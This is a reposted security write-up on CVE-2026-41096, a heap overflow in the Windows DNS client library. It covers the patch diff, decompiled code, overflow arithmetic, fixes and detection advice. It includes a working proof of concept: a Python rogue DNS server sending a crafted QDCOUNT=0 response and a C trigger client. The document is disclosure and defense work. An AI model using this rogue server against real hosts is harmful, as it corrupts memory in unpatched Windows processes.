CVE-2026-41096: Heap Overflow in the Windows DNS Client

CVE-2026-41096: Heap Overflow in the Windows DNS Client

Original text: “CVE-2026-41096: Heap Overflow in the Windows DNS Client”m0n1x90, m0n1x90.dev (May 24, 2026). Code, tables and ASCII diagrams below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2026-41096 is a remotely-triggerable heap overflow in dnsapi.dll, the Windows DNS client library shipped with modern Windows 11 builds. A single crafted UDP DNS response — no authentication, no user interaction, no second packet — corrupts up to 604 bytes of attacker-controlled data past the end of a heap allocation in any process that calls DnsQueryRaw. Root cause is a type confusion in Packet_SkipToRecord: with QDCOUNT=0, the function treats the first entry as a resource record and over-skips it, sending the destination pointer of a later memmove right to the edge of the buffer.

This post walks the patch diff between unpatched (10.0.28000.1896) and patched (10.0.28000.2113) dnsapi.dll binaries using ghidriff, decompiles the vulnerable DnsRawTruncateMessageForUdp in Ghidra, derives the exact overflow arithmetic, shows all three defenses Microsoft layered behind the Feature_1831057722 WIL gate, and ships a working two-piece PoC: a Python rogue DNS server and a C trigger client built around the asynchronous DnsQueryRaw API. Network and host detection guidance closes the article.

Diffing the Patch

The starting point is two builds of dnsapi.dll — one from before the patch, one from after — loaded into Ghidra and diffed with ghidriff.

PropertyUnpatchedPatched
PE symbol pathdnsapi/8FB65B3A135000dnsapi/D4B9BB7F135000
Build version10.0.28000.189610.0.28000.2113
File size1,269,7601,269,864
Binary metadata for the two dnsapi.dll builds compared. Source: original article.

Out of roughly 3,750 functions, 99.88% match between the two builds. Only 22 functions show real code changes, and two stand out:

  • DnsRawTruncateMessageForUdp — 84% match rate, body grows from 642 to 796 bytes (+154 bytes of new logic). Far more than a refactor.
  • UsageIndexProperty::Write — 42% match rate. On inspection, the unpatched version is missing the fourth argument to memcpy_s. A separate bug, not the one we are chasing.

The patch also introduces a new symbol, Feature_1831057722__private_IsEnabledDeviceUsageNoInline. That naming pattern is a Microsoft WIL feature gate — the classic “ship the fix behind a flag we can roll back” pattern. Every defensive check we’ll see lives behind this gate.

The DNS Message Buffer

To understand the bug, you need to know how dnsapi.dll lays out DNS messages in memory. The internal DNS_MSG_BUF structure is a single heap blob. The first 700 bytes are internal metadata; the actual on-the-wire DNS packet starts at offset +0x2BC:

┌─────────────────────────────────────────┐
│  Offset 0x000 - 0x247: Internal metadata │
│  (flags, pointers, state)                │
├─────────────────────────────────────────┤
│  +0x248: cbMessageLength (uint32)        │
│  +0x250: pBufferEnd (ptr to wire end)    │
│  +0x2BA: wMessageLength (uint16)         │
├─────────────────────────────────────────┤  ← Wire format starts at +0x2BC (offset 700)
│  +0x2BC: Transaction ID    (2 bytes)     │
│  +0x2BE: Flags             (2 bytes)     │
│  +0x2C0: QDCOUNT           (2 bytes)     │  ← Key field: question count
│  +0x2C2: ANCOUNT           (2 bytes)     │
│  +0x2C4: NSCOUNT           (2 bytes)     │
│  +0x2C6: ARCOUNT           (2 bytes)     │
│  +0x2C8: Data section      (variable)    │
└─────────────────────────────────────────┘
OffsetDescriptionSize
0x000–0x247Internal metadata
+0x248cbMessageLength (uint32)
+0x250pBufferEnd (ptr to wire end)
+0x2BAwMessageLength (uint16)
+0x2BCTransaction ID2 bytes
+0x2BEFlags2 bytes
+0x2C0QDCOUNT2 bytes
+0x2C2ANCOUNT2 bytes
+0x2C4NSCOUNT2 bytes
+0x2C6ARCOUNT2 bytes
+0x2C8Data sectionvariable
DNS_MSG_BUF layout in dnsapi.dll. Source: original article.

Allocation size is computed by Packet_AllocateMsgBuf(wire_size), which delegates to Dns_Allocate(max(512, wire_size) + 0x2C3). For a 623-byte crafted response that comes out to HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1330). Remember the number 1330 — it shows up again in the overflow math.

The Bug

How Packet_SkipToRecord decides what to skip

Packet_SkipToRecord(wire_start, wire_end, n) walks forward past the first n entries of a DNS message. The critical decision it makes on every iteration is whether the current entry is a question or a resource record, because the two have very different sizes:

  • If the current index is less than QDCOUNT, parse as a question. Skip = name + QTYPE (2 bytes) + QCLASS (2 bytes) = name + 4.
  • If the current index is greater than or equal to QDCOUNT, parse as a resource record. Skip = name + TYPE (2) + CLASS (2) + TTL (4) + RDLEN (2) + RDATA (whatever RDLEN says). For an OPT record with 600 bytes of RDATA, that’s 611 bytes total.

The decision pivots on one field, QDCOUNT, which is fully attacker-controlled in the response. Here is the simplified Ghidra decompilation:

// Ghidra decompilation — Packet_SkipToRecord (simplified)
do {
    pbVar2 = Packet_SkipPacketName(pbVar2, param_2);  // skip DNS name

    if (iVar3 < (int)(uint)*(ushort *)(param_1 + 4)) {
        // Entry index < QDCOUNT → treat as QUESTION
        // Skip: QTYPE(2) + QCLASS(2) = 4 bytes
        pbVar2 = pbVar2 + 4;
    } else {
        // Entry index >= QDCOUNT → treat as RESOURCE RECORD
        // Skip: TYPE(2) + CLASS(2) + TTL(4) + RDLEN(2) + RDATA(RDLEN)
        pbVar2 = Dns_SkipPacketRecord(pbVar2, param_2);
    }
    iVar3++;
} while (iVar3 < param_3);

The vulnerable function

Here is unpatched DnsRawTruncateMessageForUdp, with WPP tracing stripped for readability:

undefined4 DnsRawTruncateMessageForUdp(byte *param_1, uint param_2, undefined4 *param_3)
{
    byte *_Dst;

    // Step 1: Skip first entry to find where to place the truncated payload
    _Dst = Packet_SkipToRecord(param_1 + 700,       // wire data start
                               *(param_1 + 0x250),   // wire data end
                               1);                    // skip exactly 1 entry

    // Step 2: Locate the OPT record (EDNS)
    uVar2 = DnsRawFindOptRecord(param_1, &local_50, local_54);

    if (uVar2 != 0) {
        // Step 3: Copy OPT record to _Dst
        memmove(_Dst, local_50, local_54[0]);   // ← OVERFLOW HERE
        _Dst = _Dst + local_54[0];
    }

    // Step 4: Validate truncated size (TOO LATE — memmove already executed)
    pbVar1 = _Dst + (-700 - (longlong)param_1);  // new message length
    if ((ulonglong)param_2 < pbVar1) {
        return 0x251e;  // DNS_ERROR_BAD_PACKET
    }
    // ...
}

Trace what happens when the attacker sends QDCOUNT == 0:

  • Normal case (QDCOUNT >= 1): entry 0 is a question. Packet_SkipToRecord skips name + 4. _Dst lands right after the question section. There is plenty of room left, and the memmove safely places the OPT record there.
  • Malicious case (QDCOUNT == 0): entry 0 is now treated as a resource record. Packet_SkipToRecord calls Dns_SkipPacketRecord, which skips the full OPT — name, TYPE, CLASS, TTL, RDLEN, and all 600 bytes of RDATA. _Dst now points to the very end of the wire data, right at the heap allocation boundary.

Then the function performs a 611-byte memmove at that location. The allocation is 1330 bytes, the destination is at offset 1323. 611 written into 7 bytes of remaining space = 604 bytes of overflow straight into the next heap chunk. The bounds check in step 4 does run — but only after the memmove has already done the damage.

Overflow Math

Sizes for the crafted response (QDCOUNT=0, ANCOUNT=0, NSCOUNT=0, ARCOUNT=1, single OPT record):

ComponentSizeCumulative
DNS Header12 bytes12
OPT name (root .)1 byte13
OPT TYPE (41)2 bytes15
OPT CLASS (UDP size)2 bytes17
OPT TTL (extended RCODE)4 bytes21
OPT RDLEN2 bytes23
OPT RDATA600 bytes623
Crafted response byte layout. Source: original article.

MsgBuf allocation: max(512, 623) + 0x2C3 = 623 + 707 = 1330 bytes.

Wire placement: starts at MsgBuf+700, occupies bytes 700–1322 (623 bytes), allocation ends at byte 1330.

Destination calculation when QDCOUNT=0: Packet_SkipToRecord treats the OPT as a full resource record and skips it entirely. _Dst = MsgBuf+700+623 = MsgBuf+1323.

memmove write: 611 bytes (OPT record without the DNS header) starting at MsgBuf+1323. Remaining space before the allocation boundary: 1330 - 1323 = 7 bytes. Overflow = 611 – 7 = 604 bytes.

The attacker fully controls the OPT RDATA bytes (and the 4-byte TTL field too), so the 604 bytes that land in the next heap chunk are arbitrary attacker bytes. In the PoC everything is filled with 0x41 so the overflow is trivial to spot in a debugger.

What the Patch Does

The fix adds three independent defenses, all gated by Feature_1831057722. The interesting part: any one of them would have been enough on its own. Microsoft applied all three.

Fix 1: Don’t call Packet_SkipToRecord when QDCOUNT is zero

This is the core fix. When QDCOUNT == 0, the patched code bypasses Packet_SkipToRecord entirely and points _Dst at the start of the data section (+0x2C8) — right after the 12-byte DNS header. No question entries, no skipping, no overshoot.

// PATCHED — Ghidra decompilation (simplified)
uVar2 = Feature_1831057722__private_IsEnabledDeviceUsageNoInline();
if (uVar2 == 0) {
    // Legacy path (feature gate not enabled)
    _Dst = Packet_SkipToRecord(param_1 + 700, *(param_1 + 0x250), 1);
} else {
    uVar3 = *(ushort *)(param_1 + 0x2c0);   // Read QDCOUNT
    if (uVar3 != 0) {
        // Has questions → safe to call Packet_SkipToRecord
        goto LAB_SkipToRecord;
    }
    // QDCOUNT == 0 → bypass Packet_SkipToRecord entirely
    // Set _Dst to the start of the data section (just after the 12-byte header)
    _Dst = (byte *)(param_1 + 0x2c8);
}

Fix 2: Sanity check, reject if OPT is before destination

Defense in depth. Even if a different code path managed to leave _Dst in a bad state, the patched code now rejects packets where the OPT record sits before the destination — an inconsistency that should never occur in a well-formed message. The return code is the same DNS_ERROR_BAD_PACKET (0x251E) the function uses elsewhere, so callers see a clean failure instead of memory corruption.

uVar2 = DnsRawFindOptRecord(param_1, &local_48, local_50);
if (uVar2 != 0) {
    uVar2 = Feature_1831057722__private_IsEnabledDeviceUsageNoInline();
    if ((uVar2 != 0) && (local_48 < _Dst)) {
        // OPT record is BEFORE _Dst → invalid state → reject
        return 0x251e;  // DNS_ERROR_BAD_PACKET
    }
    memmove(_Dst, local_48, local_50[0]);  // Safe: OPT is at or after _Dst
}

Fix 3: Don’t lie about QDCOUNT in the truncated header

The unpatched code forced QDCOUNT to 1 in the truncated output header, even when the original had QDCOUNT=0. The patched code preserves the original value. This one is less about direct exploitation and more about correctness — the truncated response should accurately reflect what was parsed.

// When writing truncated header counts:
uVar2 = Feature_1831057722__private_IsEnabledDeviceUsageNoInline();
if (uVar2 == 0) {
    uVar5 = 1;  // Old: always force QDCOUNT to 1
}
// New: preserve original QDCOUNT value (0 stays 0)
*(undefined2 *)(param_1 + 0x2c0) = uVar5;

The PoC

Two pieces are needed: a rogue DNS server (Python, runs anywhere) and a trigger client (C, runs on a vulnerable Windows 11 host).

Rogue DNS Server

Nothing fancy — bind UDP/53, reply to every query with the crafted QDCOUNT=0 + OPT response.

#!/usr/bin/env python3
"""
CVE-2026-41096 — Rogue DNS Server

Replies to every DNS query with a crafted QDCOUNT=0 + OPT response
that triggers a heap overflow in DnsRawTruncateMessageForUdp().
"""
import socket, struct, sys

RDATA_SIZE = 600  # OPT RDATA bytes (must make total response > 512)


def response(txid):
    #                           QDCOUNT=0  ANCOUNT=0  NSCOUNT=0  ARCOUNT=1
    hdr = struct.pack("!6H", txid, 0x8180, 0, 0, 0, 1)
    #       root name  TYPE=OPT(41)  CLASS=4096  TTL=0x41414141  RDLEN
    opt = (b"\x00"
           + struct.pack("!HHIH", 41, 4096, 0x41414141, RDATA_SIZE)
           + b"\x41" * RDATA_SIZE)
    return hdr + opt


sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", 53))

total = 12 + 11 + RDATA_SIZE
print(f"[*] CVE-2026-41096 rogue DNS — :53  ({total}B response, RDATA={RDATA_SIZE})")

try:
    while True:
        data, addr = sock.recvfrom(512)
        if len(data) < 12:
            continue
        txid = struct.unpack("!H", data[:2])[0]
        r = response(txid)
        sock.sendto(r, addr)
        print(f"[+] {addr[0]}:{addr[1]}  TXID=0x{txid:04X}  ->  {len(r)}B sent")
except KeyboardInterrupt:
    print("\n[*] Stopped.")
finally:
    sock.close()

Anatomy of the 623-byte malicious response:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Transaction ID        |     Flags: 0x8180 (QR=1,     |  Bytes 0-3
|                               |      RD=1, RA=1, RCODE=0)    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       QDCOUNT = 0x0000        |       ANCOUNT = 0x0000        |  Bytes 4-7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NSCOUNT = 0x0000        |       ARCOUNT = 0x0001        |  Bytes 8-11
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Name: 0x00    |    TYPE = 41 (OPT)    |    CLASS = 4096       |  Bytes 12-16
| (root domain) |                       |    (UDP payload size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TTL = 0x41414141            |     RDLEN = 600       |  Bytes 17-22
|       (extended RCODE + flags)        |                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|                   RDATA: 600 × 0x41 ('A')                     |  Bytes 23-622
|                   (attacker-controlled)                       |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The three knobs that matter:

  • QDCOUNT = 0 — triggers the Packet_SkipToRecord type-confusion path.
  • Total size (623 bytes) > 512 — forces the truncation code path that contains the bug.
  • Large OPT RDATA — controls the size of the overflow and its content.

Trigger Client

The client points DnsQueryRaw at the rogue server. DnsQueryRaw is resolved at runtime via GetProcAddress because it’s not in older SDK headers, and an unhandled exception filter is installed to catch the crash — the corruption hits inside the asynchronous RPC callback thread, not the main thread.

/*
 * CVE-2026-41096 - DnsQueryRaw Heap Overflow Trigger
 *
 * Build:  cl /W4 /O2 trigger_client.c /link ws2_32.lib
 * Usage:  trigger_client.exe <ROGUE_DNS_IP>
 * Exit:   0 = patched, 1 = error, 2 = crash (vulnerable)
 */
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <windns.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

typedef DNS_STATUS (WINAPI *pfnDnsQueryRaw)(
    DNS_QUERY_RAW_REQUEST *, DNS_QUERY_RAW_CANCEL *);
typedef void (WINAPI *pfnDnsQueryRawResultFree)(DNS_QUERY_RAW_RESULT *);

static HANDLE g_hEvent;
static DNS_QUERY_RAW_RESULT *g_pResult;
static volatile LONG g_callbackFired;

/* Catches the crash on the RPC callback thread */
static LONG WINAPI CrashFilter(EXCEPTION_POINTERS *ep)
{
    DWORD code = ep->ExceptionRecord->ExceptionCode;
    printf("\n[!!] CRASH — Exception 0x%08X at %p\n",
           code, ep->ExceptionRecord->ExceptionAddress);
    if (code == EXCEPTION_ACCESS_VIOLATION)
        printf("[!!] %s at 0x%llX\n",
               ep->ExceptionRecord->ExceptionInformation[0] ? "WRITE" : "READ",
               (unsigned long long)ep->ExceptionRecord->ExceptionInformation[1]);
    printf("\n[!!] CVE-2026-41096 CONFIRMED — heap overflow triggered.\n");
    fflush(stdout);
    TerminateProcess(GetCurrentProcess(), 2);
    return EXCEPTION_EXECUTE_HANDLER;
}

static void CALLBACK CompletionCb(PVOID ctx, DNS_QUERY_RAW_RESULT *r)
{
    (void)ctx;
    g_pResult = r;
    InterlockedExchange(&g_callbackFired, 1);
    SetEvent(g_hEvent);
}

int main(int argc, char *argv[])
{
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <ROGUE_DNS_IP>\n", argv[0]);
        return 1;
    }

    SetUnhandledExceptionFilter(CrashFilter);

    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);

    HMODULE hDns = LoadLibraryW(L"dnsapi.dll");
    pfnDnsQueryRaw pDnsQueryRaw =
        (pfnDnsQueryRaw)GetProcAddress(hDns, "DnsQueryRaw");
    pfnDnsQueryRawResultFree pFreeResult =
        (pfnDnsQueryRawResultFree)GetProcAddress(hDns, "DnsQueryRawResultFree");

    if (!pDnsQueryRaw) {
        fprintf(stderr, "[-] DnsQueryRaw not found (requires Win11 22H2+)\n");
        return 1;
    }

    /* Point at the rogue DNS server */
    DNS_CUSTOM_SERVER srv = {0};
    srv.dwServerType = DNS_CUSTOM_SERVER_TYPE_UDP;
    struct sockaddr_in *sa = (struct sockaddr_in *)srv.MaxSa;
    sa->sin_family = AF_INET;
    inet_pton(AF_INET, argv[1], &sa->sin_addr);

    g_hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);

    DNS_QUERY_RAW_REQUEST req = {0};
    DNS_QUERY_RAW_CANCEL  can = {0};
    req.version                  = DNS_QUERY_RAW_REQUEST_VERSION1;
    req.resultsVersion           = DNS_QUERY_RAW_RESULTS_VERSION1;
    req.dnsQueryName             = L"trigger.cve202641096.test";
    req.dnsQueryType             = DNS_TYPE_A;
    req.queryCompletionCallback  = CompletionCb;
    req.queryContext             = (PVOID)1;
    req.queryRawOptions          = DNS_QUERY_RAW_OPTION_BEST_EFFORT_PARSE;
    req.customServersSize        = 1;
    req.customServers            = &srv;
    req.protocol                 = DNS_PROTOCOL_UDP;

    printf("[*] Querying rogue server %s:53 via DnsQueryRaw...\n", argv[1]);
    DNS_STATUS st = pDnsQueryRaw(&req, &can);

    if (st != 0 && st != 9506 /* DNS_REQUEST_PENDING */) {
        printf("[-] DnsQueryRaw failed: 0x%X\n", (unsigned)st);
        return 1;
    }

    printf("[*] Waiting for response...\n");
    WaitForSingleObject(g_hEvent, 15000);

    if (g_callbackFired && g_pResult) {
        DNS_STATUS qs = g_pResult->queryStatus;
        printf("[+] Callback: queryStatus=0x%X\n", (unsigned)qs);

        if (qs == 0x251E)
            printf("[+] DNS_ERROR_BAD_PACKET — system is PATCHED.\n");
        else
            printf("[!] Heap overflow occurred silently — VULNERABLE.\n");

        if (pFreeResult) pFreeResult(g_pResult);
    }

    CloseHandle(g_hEvent);
    FreeLibrary(hDns);
    WSACleanup();
    return 0;
}

Call Chain

The interesting wrinkle is that the crash doesn’t fire on the main thread. DnsQueryRaw is asynchronous — the response is parsed on an RPC callback thread inside dnsapi.dll, and that’s where DnsRawTruncateMessageForUdp runs. That’s why a SetUnhandledExceptionFilter hook is required: a normal SEH frame in main would never see the corruption.

Reproducing the Crash

Reproduction was performed on a Windows 11 Pro 23H2 VM (build 22631.6199, dnsapi.dll 10.0.22621.5262) with the rogue server on the host.

Attacker side — start the rogue server (port 53 needs root):

sudo python3 rogue_dns_server.py

Victim side — build and run the trigger:

cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe 192.168.56.1

Tip: enable Page Heap with gflags /p /enable trigger_client.exe /full to get a clean access violation right at the bad write instead of delayed Segment Heap corruption detection.

With Page Heap on: the access violation fires inside memmove. Page Heap places a guard page directly after the 1330-byte allocation, so the write hits it instantly.

[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...

[!!] CRASH — Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000

[!!] CVE-2026-41096 CONFIRMED — heap overflow triggered.

Without Page Heap: you get STATUS_HEAP_CORRUPTION (0xC0000374) instead — the Segment Heap notices the metadata damage on a later heap operation, after the overflow has already happened.

[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...

[!!] CRASH — Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED — heap overflow triggered.

On a patched system: the QDCOUNT=0 guard engages, the dangerous memmove never runs, and the API returns cleanly:

[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET — system is PATCHED.

Exploitability Notes

  • Full content control. The attacker chooses both the size (via RDLEN) and the content (OPT TTL + RDATA) of the overflow. You write arbitrary bytes into whatever sits next to the DNS_MSG_BUF chunk on the heap.
  • Heap layout. GetProcessHeap() on Windows 11 uses Segment Heap. A 1330-byte allocation falls into the Variable Size (VS) bucket. Adjacent chunks vary by target process: other DNS buffers, application-specific allocations, occasionally vtable-bearing objects.
MitigationDoes it help?
ASLRNo, overflow is relative to adjacent heap objects
CFGBlocks calling corrupted function pointers, but doesn’t prevent the write
Page HeapTurns silent corruption into immediate crash (detection only)
Segment Heap checksCatches it eventually, but there’s a window between overflow and detection
Effect of standard Windows mitigations on this overflow. Source: original article.

Detection

Network side. The trigger is a DNS response with QDCOUNT=0. Legitimate DNS servers virtually always echo the question section back (QDCOUNT >= 1), so a response with bytes 4–5 equal to zero and bytes 10–11 (ARCOUNT) non-zero (indicating an OPT record in the Additional section) is a strong indicator. Any IDS / network monitor that can inspect DNS headers should flag it.

Host side.

  • Process crash with faulting module dnsapi.dll, exception code 0xC0000005 (access violation) or 0xC0000374 (heap corruption), and DnsRawTruncateMessageForUdp on the call stack.
  • On patched systems, DNS_ERROR_BAD_PACKET (0x251E) shows up in ETW traces under the Microsoft-Windows-DNS-Client provider.
  • Version check: dnsapi.dll with version ≤ 10.0.28000.1896 is vulnerable.

Wrapping Up

At its core this is a clean type-confusion vulnerability. Packet_SkipToRecord looks at one header field, QDCOUNT, to decide how to parse the data structure that follows. An attacker sets that field to zero, and a 4-byte skip turns into a 611-byte skip. _Dst overshoots, memmove writes into the next heap allocation, and you get a 604-byte overflow with attacker-controlled content.

The patch is solid: three independent guards, any one of which would have closed the hole on its own, all gated behind a feature flag so Microsoft can roll back if a region of telemetry lights up.

Key Takeaways

  • One-packet, no-auth, no-interaction primitive. A single 623-byte UDP DNS response yields a 604-byte heap overflow in any process that calls DnsQueryRaw.
  • Root cause is type confusion on QDCOUNT. Packet_SkipToRecord picks question-vs-record handling based on a single attacker-controlled field; the validation that should have caught the resulting overshoot runs after the bad memmove.
  • Truncation path is the actual gadget. Responses must exceed 512 bytes to enter DnsRawTruncateMessageForUdp, which is why the PoC pads OPT RDATA to 600 bytes.
  • The vulnerable code lives on the RPC callback thread. Any reliable triggering or local detonation logic has to install a process-wide exception filter to actually observe the crash.
  • Three-layer fix behind a WIL feature gate. Microsoft preserved an opt-out path, so detection should look at both the version string and the actual return code on a known-bad probe.
  • Page Heap turns the bug from “maybe corrupted” into “immediate AV.” Useful for fleet-wide reproduction or fuzzing rigs targeting dnsapi.dll code paths.

Defensive Recommendations

  • Patch. Install the Windows update that ships dnsapi.dll10.0.28000.2113. Confirm version with (Get-Item C:\Windows\System32\dnsapi.dll).VersionInfo.FileVersion in PowerShell.
  • Block QDCOUNT=0 in DNS responses. Add a network IDS rule that flags DNS responses (QR=1) where bytes 4–5 of the wire payload are zero. Legitimate recursors essentially never produce that.
  • Egress filter outbound DNS. Force all DNS traffic through trusted resolvers; do not allow arbitrary outbound UDP/53 from endpoint workstations. This shrinks the rogue-server attack surface dramatically.
  • Hunt the crash signature. Look for WER / Event Log entries with faulting module dnsapi.dll, exception 0xC0000005 or 0xC0000374, and stack frames containing DnsRawTruncateMessageForUdp.
  • Inventory DnsQueryRaw callers. The new DnsQueryRaw API (Windows 11 22H2+) is the prerequisite for reaching this path from user-mode applications. Identify which in-house tooling and third-party agents use it.
  • Watch the ETW provider. Subscribe to Microsoft-Windows-DNS-Client and alert on a burst of 0x251E (DNS_ERROR_BAD_PACKET) returns — on patched hosts a probe attempt converts into a flurry of those.
  • Enable Page Heap for high-value DNS clients. For long-running daemons that resolve untrusted names, page-heap-enabling them converts silent corruption into a clean crash with telemetry.
  • Segment risky network paths. Browsers, mail clients, and any process that resolves attacker-influenced names should run with restrictive sandboxing — the overflow does not bypass process boundaries on its own.

Conclusion

CVE-2026-41096 is a textbook example of how a single attacker-controlled count field in a parser can turn a benign-looking pointer-advance routine into a remote heap-corruption primitive. The patch shows good defensive engineering — multiple independent layers behind a feature gate — but the underlying class of bug (type confusion driven by a length/count field, with validation after the write) keeps reappearing across DNS, TLS, and other protocol parsers. Patch promptly, add a network rule for QDCOUNT=0 in responses, and monitor dnsapi.dll crashes.

Original text: “CVE-2026-41096: Heap Overflow in the Windows DNS Client” by m0n1x90 at m0n1x90.dev. Full PoC source is in the author’s GitHub repository; binary diff produced with ghidriff.

Comments are closed.